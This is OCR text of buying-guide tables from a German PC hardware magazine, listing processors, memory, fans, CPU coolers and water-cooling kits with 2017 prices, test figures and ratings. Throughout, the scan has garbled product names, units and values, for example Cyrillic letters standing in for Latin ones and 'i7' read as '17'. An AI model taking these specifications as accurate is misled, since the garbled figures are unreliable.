[ERS fT SPAR-TIPP 


ТЗ 


AMD-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel | Wertung | Test in 

AMD Ryzen TR 1950X | Ca. € 1.030,- | 75,3 %/100 % | 52/344/291/263 16c/32t | - 3,4 GHz + Turbo | 14nm | DDR4-2667 | TRA 1,85 05/2017 | www.pcgh.de/preis/1664849 | NEU. 

AMD Ryzen TR 1920X | Ca. € 825,- 73,8 %/88,9 % | 52/336/285/250 12c/24t | - 3,5 GHz + Turbo | 14 nm | DDR4-2667 | TRA 2,00 05/2017 | www.pcgh.de/preis/1664904 | NEU. 

AMD Ryzen 7 1800X | Ca. € 440,- 71,2 %/71,1 96 | 28/326/264/182 8dl6t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | AM4 2,02 05/2017 | www.pcgh.de/preis/1582191 

AMD Ryzen 7 1700X | Ca. € 310,- 74,4 96/67,5 % | 28/315/256/169 8dl6t |- 3,4 GHz + Turbo 4nm | DDR4-2667 | АМ4 2,10 05/2017 | www.pcgh.de/preis/1582190 

AMD Ryzen 7 1700 Ca. € 285,- 71,3 %/62,9 % | 28/296/244/157 8d16t |- 3,0 GHz + Turbo 4nm | DDR4-2667 | AM4 2,18 05/2017 | www.pcgh.de/preis/1582201 

AMD Ryzen 5 1600X | Ca. € 230,- 75,7 %/58,7 % | 28/317/261/166 6dg12t |- 3,6 GHz + Turbo 4nm | DDR4-2667 | AM4 2,19 06/2017 | www.pcgh.de/preis/1604881 

AMD Ryzen 5 1600 Ca. € 200,- 72,1 %/54,9 % | 30/303/252/149 6c/12t 3,2 GHz + Turbo 4nm | DDR4-2667 | АМ4 2,49 07/2017 | www.pcgh.de/preis/1604879 

AMD Ryzen 5 1500X | Ca. € 175,- 68,2 %/43,6 % | 28/275/244/137 4cl8t 3,5 GHz + Turbo 4nm | DDR4-2667 | AM4 2,29 06/2017 | www.pcgh.de/preis/1604878 

AMD Ryzen 5 1400 Ca. € 155,- 59,8 %/38,1 % | 29/258/232/126 4ç/8t 3,2 GHz + Turbo 4nm | DDR4-2667 | AM4 2,70 07/2017 | www.pcgh.de/preis/1604876 

AMD Ryzen 3 1300X | Ca. € 125,- 56,1 %/33,0 % | 29/246/231/132 40/4 3,4 GHz + Turbo 4nm | DDR4-2667 | AM4 2,85 10/2017 | www.pcgh.de/preis/1663154 | NEU. 

AMD Ryzen 3 1200 Ca. € 105,- 50,6 %/29,2 % | 29/230/218/117 4c/4t 3,1 GHz + Turbo 4nm | DDR4-2667 | AM4 2,99 10/2017 | www.pcgh.de/preis/1663145 | NEU. 

AMD FX-9590 Ca. € 150,- 57,1 %/39,8 % | 40/441/383/309 4m/8t |- 4,7 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,08 03/2016 | www.pcgh.de/preis/973468 

AMD FX-8370 Ca. € 160,- 53,1 %/36,4 % | 39/359/318/227 4m/8t |- 40 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,14 ext www.pcgh.de/preis/1155953 

Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max) | Sockel | Wertung | Test in PCGH-Preisvergleich 

ntel Core i9-7900X | Са. € 940,- 93,4 %/94,1 % | 31/396/294/231 10c/20t 3,3 GHz + Turbo | 14 nm | DDR4-2667 | 2066 153 08/2017 | www.pcgh.de/preis/1632795 

ntel Core 17-7820Х | Ca. € 565,- 90,7 %/84,8 % | 31/378/292/201 8c/16t 3,6 GHz + Turbo | 14nm | DDR4-2667 | 2066 1,67 09/2017 | www.pcgh.de/preis/1632796 

ntel Core 17-6950Х | Ca. € 1.385,- | 96,1 %/84,0 % | 50/370/288/184 10c/20t | - 3,0 GHz + Turbo | 14nm | DDR4-2400 | 2011-3 1,74 07/2016 | www.pcgh.de/preis/1394456 

ntel Core 17-7740Х | Са. € 330,- 100 %/57,1 % | 18/315/269/148 4ç/8t 4,3 GHz + Turbo | 14 пт | DDR4-2667 2066 1,77 08/2017 | www.pcgh.de/preis/1632798 

ntel Core 17-7700К | Ca. € 315,- 94,3 %/55,3 % | 19/320/275/145 4c/8t HD 630 4,2 GHz + Tubo | 14nm | DDR4-2400 | 115 1,81 02/2017 | www.pcgh.de/preis/1551097 

ntel Core i7-6900K | Ca. € 905,- 93,1 %/77,0 % | 50/349/291/186 8d16t |- 3,2 GHz + Turbo | 14 nm | DDR4-2400 | 2011-3 1,90 07/2016 | www.pcgh.de/preis/1394462 

ntel Core i7-6700K | Ca. € 300,- 87,8 %/51,4 % | 21/302/256/126 4c/8t HD 530 40 GHz + Turbo | 14 пт | DDR4-2133 | 115 1,94 03/2016 | www.pcgh.de/preis/1290371 

ntel Core i7-7800X | Ca. € 360,- 85,8 %/66,3 % | 31/345/280/177 6012 3,5 GHz + Turbo | 14 nm | DDR4-2400 | 2066 1,96 09/2017 | www.pcgh.de/preis/1632797 

ntel Core i7-5775C | Ca. € 425,- 91,9 %/46,9 % | 19/287/252/120 4/8 ris Pro 6200 | 3,3 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 1,99 03/2016 | www.pcgh.de/preis/1275291 

ntel Core i7-5960X | Ca. € 1.030,- | 85,1 %/69,0 % | 49/364/286/202 8c/16t |- 3,0 GHz + Turbo |22nm | DDR4-2133 2011-3 2,14 03/2016 | www.pcgh.de/preis/1121089 

ntel Core i7-6800K Ca. € 330,- 85,9 %/59,9 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 2011-3 2,23 08/2016 | www.pcgh.de/preis/1394467 

ntel Core 17-4790К | Ca. € 345,- 78,4 %/48,9 % | 18/320/261/134 4/8 HD 4600 4,0 GHz + Turbo | 22 пт | DDR3-1600 1150 2,29 03/2016 | www.pcgh.de/preis/1119923 

ntel Core 17-5820К | Ca. € 375,- 82,9 %/56,2 % | 46/340/278/176 6dg12t |- 3,3 GHz + Turbo | 22 пт | DDR4-2133 | 2011-3 2,30 03/2016 | www.pcgh.de/preis/1121100 

ntel Core i5-7600K Ca. € 210,- 73,7 %/41,2 % | 19/262/238/112 4c/4t HD 630 3,8 GHz + Turbo | 14 nm | DDR4-2400 115 2,30 02/2017 | www.pcgh.de/preis/1551201 

ntel Core i5-5675C Ca. € 275,- 75,3 %/36,1 % | 17/245/228/107 40/41 ris Pro 6200 | 3,1 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 2,40 Kap www.pcgh.de/preis/1275321 

ntel Core i5-6600K | Ca. € 220,- 64,4 %/37,6 % | 22/245/225/109 40/8 HD 530 3,5 GHz + Turbo |14пт | DDR4-2133 | 115 2/53 03/2016 | www.pcgh.de/preis/1290376 

ntel Core 17-3770К | Ca. € 370,- 67,7 %/39,3 % | 25/267/235/123 4c/8 HD 4600 3,5 GHz + Turbo | 22 nm | DDR3-1600 | 1155 2,63 03/2016 | www.pcgh.de/preis/761779 

ntel Core 15-7500 Ca. € 180,- 69,3 %/37,5 % | 18/242/224/99 4c/4 HD 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 115 2,64 04/2017 | www.pcgh.de/preis/1554205 

ntel Core 13-7350K | Ca. € 150,- 62,9 %/29,3 % | 19/230/218/108 2c/4 HD 630 4,2 GHz 14 nm | DDR4-2400 | 115 2,66 03/2017 | www.pcgh.de/preis/1557508 

ntel Core i5-4690K | Ca. € 245,- 62,6 %/35,5 % | 18/256/229/123 4c/4 HD 4600 3,5 GHz + Turbo |22nm | DDR3-1600 | 1150 2,74 ext www.pcgh.de/preis/1119925 

ntel Core i5-7400 Ca. € 165,- 64,9 %/34,9 % | 18/232/216/94 4c/4 HD 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 115 2,74 04/2017 | www.pcgh.de/preis/1553204 

ntel Pentium G4560 | Ca. € 80,- 52,8 %/23,1 % | 19/210/201/99 2c/4 HD 610 3,5 GHz 14nm | DDR4-2400 | 1151 3,25 03/2017 www. pcgh.de/preis/1558362 ТҮҢ 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/@ Spiele/ð Anwendungen) *** Nachgetestet ohne Heftartikel 


Arbeitsspeicher 


НҤїїйшкге 


DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Höhe | Spannung | Wertung | Test in PCGH-Preisvergleich 
G.Skill Trident X F3-1600C7D-16GTX Ca. € 130,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 ст | 1,65 Vo 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 160,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Са. € 130,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 ст | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 140,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Ca. € 130,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vol 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Hóhe | Spannung | Wertung | Test in 
G.Skill Trident Z F4-3600C16D-16GTZKW N. verfügbar | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 | 07/2017 | www.pcgh.de/preis/1505578 
Teamgroup T-Force Xtreem | TXGD416G4000HC18EDCO1 Са. € 230,- | 2 x 8 GiByte DDRA-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vol 1,76 | 07/2017 | www.pcgh.de/preis/1593250* 
Patriot Viper PV416G360C6K Са. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vol 1,80 | 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 380,- | 4 x 8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vol 1,89 | 12/2016 | www.pcgh.de/preis/1379074 
G.Skill Flare X F4-3200C14D-16GFX Са. € 190,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Ca. € 360,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 | 12/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4MAC3200C16R Са. € 340,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,10 12/2016 | www.pcgh.de/preis/1468728 
G.Skill Trident Z RGB F4-3200C16Q-32GTZR Ca. € 340,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vol 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4CAG4D32AEEA Са. € 190,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 | 12/2016 | www.pcgh.de/preis/1464325 
Ballistix Tactical BLT2C8G4D30AETA Са. € 170,- | 2 x 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 340,- | 2 x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 12/2016 | www.pcgh.de/preis/1512560 

System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, HCI Memtest Pro *** Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 

System DDR4: Core i5-6600K/i7-6700K, Asus Maximus VIII Extreme/Ranger bzw. Maximus IX Code, MSI Geforce СТХ 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro * Silberne Version ** Silber-rote Version 
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Einkaufsführer | SERVICE 


Einkaufsführer Kühlung 


Preise: Stand 24.08.2017 


(CETTE TT PREIS-LEISTUNGS-TIPP. 


[EL PISPAR-TIPP 


ПШ Arctic F12 PWM 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* svergleich 
Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter | 1.500 U/min 0,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 18,- | 4-Pin PWM/75 cm - .500 U/min 0,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
UE Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ .300 U/min 0,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm _ .450 U/min 1,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm _ .250 U/min 2,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 
Ca.€5,- | 4-Pin PWM**/39 cm - .350 U/min 0,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - .400 U/min 2,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm - .500 U/min 2,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - .400 U/min 3,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
Fractal Design Dynamic X2 GP-12 Ca. € 14,- | 3-Pin/51 cm - .200 U/min 2,2/15,8/21,3 Kelvin | 0,8/0,2/0,1 Sone 2,81 12/2016 | www.pcgh.de/preis/1497617 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ .200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig .400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 19,- | 3-Pin/53 cm 2 Spannungs-Adap. .200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 227 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Sil. White Ed. 140mm | Ca. € 17,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 17,- | 3-Pin/75 cm _ .200 U/min 0,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 18,- | 4-Pin PWM/50 cm - .500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
ТШТУ Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 30,- | 4-Pin PWM/45 cm _ .000 U/min 1,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 
I TE Nanoxia Cool Force Ca.€7,- | 3-Pin/43 cm Vorwiderstand .100 U/min 2,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - .300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone 2572 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 24,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone | 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Са. Є 9,- |3-Pin/45 cm _ .000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis МаВе (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) WI PCGH-Preisvergleich 
EKL Alpenfóhn Brocken 3 Са. Є 45,- | 150 x 171 x 126 mm; 870g 52,5 *C (1.020 U/min) 52,5/54,6/61,1 °C 1,0/0,3/0,1 Sone 2,05 10/2017 | www.pcgh.de/preis/1675194 
Noctua NH-D15 Ca.€90- | 151 х 175 х 162 mm; 13129 50,8 °С (1.020 U/min) 48,1/49,9/54,5 °С 3,0/1,2/0,2 Ѕопе 2,08 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extr. Silent 14 Dual | Са. € 75,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 211 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Ca. € 43,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max.0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Са. € 43,- 38 x 149 x 131 mm; 923 g 52,0 °C (900 U/min) 48,5/50,8/56,2 °C 2,9/1,3/0,4 Sone 2,16 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Са. Є 70,- | 152 х 166 x 80 mm; 938g 51,4 °C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Ca. € 60,- 55 x 161 x 151 mm; 1.187 9 | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 x 162 x 148 mm; 1.1119 | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Ca. € 50,- 42 х 173 x 129 mm; 877 g 52,2 °C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Са. Є 37,- | 132 х 155 х 155 mm; 905 g 52,4 °С (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct n. verfüg. 152 x 162 x 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 х 150 mm; 1244 g 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,32 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct n. verfüg. 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 39,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 бопе) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca.€40- | 150 x 165 x 68 mm; 633g 54 °C (1.060 U/min) 52,2/55,4/63,9 °C ,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
N ER» Cooler Master Hyper 612 Ver.2 Са. Є 32,- 51 х 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 бопе) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
EKL Alpenföhn Brocken Eco Са. € 31,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C ,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Noctua NH-D15S Ca. € 80,- 49 x 163 х 134 mm; 1.153 9 | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57. 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Ca. € 30,- 130 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C ‚5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 29,- 132 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 бопе) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Са. Є 48,- | 139 x 161 x 112 mm; 910g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca.€38- | 128 х 141 x 67 mm; 328g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Arctic Freezer i32*** Ca.€24- | 124 х 150 x 74 mm; 659g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C ‚0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca.€40- | 141 x 159 x 73 mm; 702g 54,8 *C (1.220 U/min) 53,5/57,1/64,3 °C ,6/0,5/0,1 Sone 2,72 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C 14S Са. €75,- | 146 x 142 x 164 mm; 1.013g | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 


www.pcgameshardware.de 


** Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. *** Anpresskraft Sockel-1151-Originalhalterung zu hoch, Nachrüstkit auf Anfrage 
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Einkaufsführer Wasserkühlung & Mainboards „ах 


CETTE Т PREIS-LEISTUNGS-TIPP 


[EL fT SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/0,6/0,1 Sone 1,73 08/2016 | www.pcgh.de/preis/758311939 
Arctic Liquid Freezer 240 Ca.€80,- |273x 120 x 88 mm 47,4 °C (970 U/min) 45,3/47,4/51,4 °C 2,5/1,0/,2/0,2 Sone 1,78 03/2016 | www.pcgh.de/preis/1341649 ture) 
Cooler Master Master Liquid 240 Ca.€85- | 278 х 120 х 53 mm 49,1 °C (1.320 U/min) 45,2/47,5/52,7 °С 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 Ca. € 160,- | 316 x 144 x 55 mm 43,6 *C (960 U/min) 41,5/41,7/43,6 *C 6,3/3,4/1,0/0,2 Sone 1,84 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Са. € 130,- | 275 x 123 х 55 mm 50,4 °C (1.230 U/min) 47,2/48,5/51,7 °C 4,3/2,0/0,5/0,1 Sone 1,87 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius 524 Ca. € 110,- | 283 x 122 x 55 mm 49,1 °C (1.100 U/min) 45,4/46,9/51,6 *C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius $36 Ca. € 140,- | 404 x 122 x 56 mm 48,2 °C (1.020 U/min) 43,1/45,0/49,1 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 46,4/47,6/51,2 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах II 240 Ca. € 80,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 50,2/52,5/58,1 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler Н2О 1200 Pro Са. €75,- | 276 x 120 x 52 mm 51,7 °С (1.000 U/min) 48,0/49,7/52,7 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
ID-Cooling Frostflow 240 n. verfüg. 275 x 120 x 52 mm 51,7 *C (1.110 U/min) 47,6/49,3/52,1 °C 6,7/3,2/0,9/0,1 Sone 2,39 07/2017 | www.pcgh.de/preis/1425977 
Fractal Design Kelvin 524 Ca. € 110,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 49,3/50,5/53,3 °C 4,412,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 *C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit $240 Ca. € 200,- | 282 x 121 x 52 mm 49,2 °C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
